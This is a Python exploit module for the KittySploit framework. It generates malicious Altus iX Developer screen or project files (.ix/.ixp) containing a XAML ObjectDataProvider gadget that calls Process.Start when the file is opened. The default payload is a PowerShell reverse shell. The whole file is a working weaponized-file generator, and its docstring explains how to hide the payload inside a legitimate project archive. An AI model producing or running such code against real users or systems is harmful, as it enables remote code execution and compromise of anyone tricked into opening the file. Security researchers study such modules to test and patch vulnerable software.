Altus iX Developer XAML gadget screen RCE

"""Altus iX Developer XAML Deserialization RCE"""
from __future__ import annotations
import os
import tempfile
from kittysploit import *
import io
import os
import sys
import zipfile
import struct
import re
import sys
import os
import zipfile
import io

class Module(Exploit):
    __info__ = {'name': 'Altus iX Developer XAML gadget screen RCE', 'description': 'Builds malicious .ix / .ixp with ObjectDataProvider→Process.Start from set payload. Operator opens the file in iX Developer (local trigger, not network delivery).', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['altus', 'ix', 'xaml', 'deserialization', 'rce'], 'agent': {'risk': 'high', 'effects': ['malware_generation'], 'expected_requests': 0, 'reversible': True, 'approval_required': True, 'produces': ['weaponized_artifact'], 'chain': {'suggested_followups': ['scanner/http/altus_ix_xaml_rce_detect']}}}
    XAML_PAYLOAD_TEMPLATE = '<ObjectDataProvider xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"\n                    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"\n                    xmlns:sys="clr-namespace:System.Diagnostics;assembly=System"\n                    ObjectType="{{x:Type sys:Process}}"\n                    MethodName="Start">\n  <ObjectDataProvider.MethodParameters>\n    <sys:ProcessStartInfo FileName="{filename}" Arguments="{arguments}" />\n  </ObjectDataProvider.MethodParameters>\n</ObjectDataProvider>\n'
    output_file = OptString('', 'Write .ix here (default temp kitty_ix_poc.ix)', required=False)
    archive_ixp = OptBool(False, 'Pack as .ixp instead of plain .ix', required=False)
    screen_name = OptString('MaliciousScreen', '.ixp screen name', required=False)

    def build_xaml_payload(self, command: str) -> str:
        """
    Build the ODP gadget XAML payload.

    Split the command into FileName + Arguments:
      - If the command starts with a known executable name (cmd / powershell /
        certutil / calc, etc.), FileName = that executable, Arguments = the rest
      - Otherwise FileName = cmd.exe, Arguments = /c <command> (run the arbitrary
        command through cmd)

    XML escaping: escape & < > " ' in Arguments so the XML stays well-formed.
    """
        known_exes = ['cmd', 'cmd.exe', 'powershell', 'powershell.exe', 'certutil', 'certutil.exe', 'calc', 'calc.exe', 'notepad', 'notepad.exe', 'wmic', 'wmic.exe']
        tokens = command.strip().split(None, 1)
        if not tokens:
            raise ValueError('command must not be empty')
        first = tokens[0]
        rest = tokens[1] if len(tokens) > 1 else ''
        if first.lower() in [k.lower() for k in known_exes]:
            filename = first
            arguments = rest
        else:
            filename = 'cmd.exe'
            arguments = '/c ' + command

        def xml_escape(s: str) -> str:
            return s.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;').replace("'", '&apos;')
        return self.XAML_PAYLOAD_TEMPLATE.format(filename=xml_escape(filename), arguments=xml_escape(arguments))

    def write_ix_file(self, output_path: str, xaml_payload: str) -> str:
        """Write the XAML payload to a .ix screen file (plain XML text)."""
        with open(output_path, 'w', encoding='utf-8') as f:
            f.write(xaml_payload)
        return output_path

    def write_ixp_file(self, output_path: str, xaml_payload: str, screen_name: str='MaliciousScreen', password: str='') -> str:
        """
    Pack the malicious screen into a .ixp project archive (password-protected ZIP).

    .ixp = a password-protected ZIP containing the project structure. Here we
    build a minimal openable project archive:
      - ProjectFiles/Project.xml  (project metadata, references the screen)
      - ProjectFiles/<screen>.ix  (the malicious screen XAML)

    Note: the real .ixp project structure is more complex (Globals/Scripts, etc.);
    this is a minimal trigger package. If the IDE errors out on opening because
    the project structure is incomplete, an alternative is: unpack a legitimate
    .ixp project -> replace one of its .ix screens with the malicious payload ->
    repack.
    """
        project_xml = '<?xml version="1.0" encoding="utf-8"?>\n<Project xmlns="http://schemas.neo.applicationframework.com/ix/project/1.0">\n  <Screens>\n    <Screen Name="{screen}" FileName="{screen}.ix" />\n  </Screens>\n</Project>\n'.format(screen=screen_name)
        buf = io.BytesIO()
        if password:
            zf = zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED)
            zf.setpassword(password.encode('utf-8'))
        else:
            zf = zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED)
        zf.writestr('ProjectFiles/Project.xml', project_xml)
        zf.writestr('ProjectFiles/{}.ix'.format(screen_name), xaml_payload)
        zf.close()
        with open(output_path, 'wb') as f:
            f.write(buf.getvalue())
        return output_path

    def print_usage(self):
        print(__doc__)
        print()
        print('Examples:')
        print('  python3 altus_ix_xaml_rce.py malicious.ix "calc.exe"')
        print('  python3 altus_ix_xaml_rce.py malicious.ix "cmd /c echo PWNED > C:\\\\pwned.txt"')
        print('  python3 altus_ix_xaml_rce.py malicious.ixp "calc.exe"   # .ixp project archive')
        print()

    def execute(self, shell: str) -> str:
        out = str(self.output_file or '').strip()
        if not out:
            fd, out = tempfile.mkstemp(suffix='.ixp' if bool(self.archive_ixp) else '.ix', prefix='kitty_ix_')
            os.close(fd)
        xaml = self.build_xaml_payload(shell)
        if bool(self.archive_ixp):
            self.write_ixp_file(out, xaml, screen_name=str(self.screen_name or 'MaliciousScreen'))
            kind = '.ixp'
        else:
            self.write_ix_file(out, xaml)
            kind = '.ix'
        return f'Wrote {kind} ({len(xaml)} bytes XAML) to {out} — open in Altus iX Developer to run payload'

    def check(self):
        return {'vulnerable': True, 'reason': 'Local artifact generator (no remote probe)', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        print_status('Generate malicious iX screen from payload')
        print_info(self.execute(shell))
        self.vulnerable()
        return True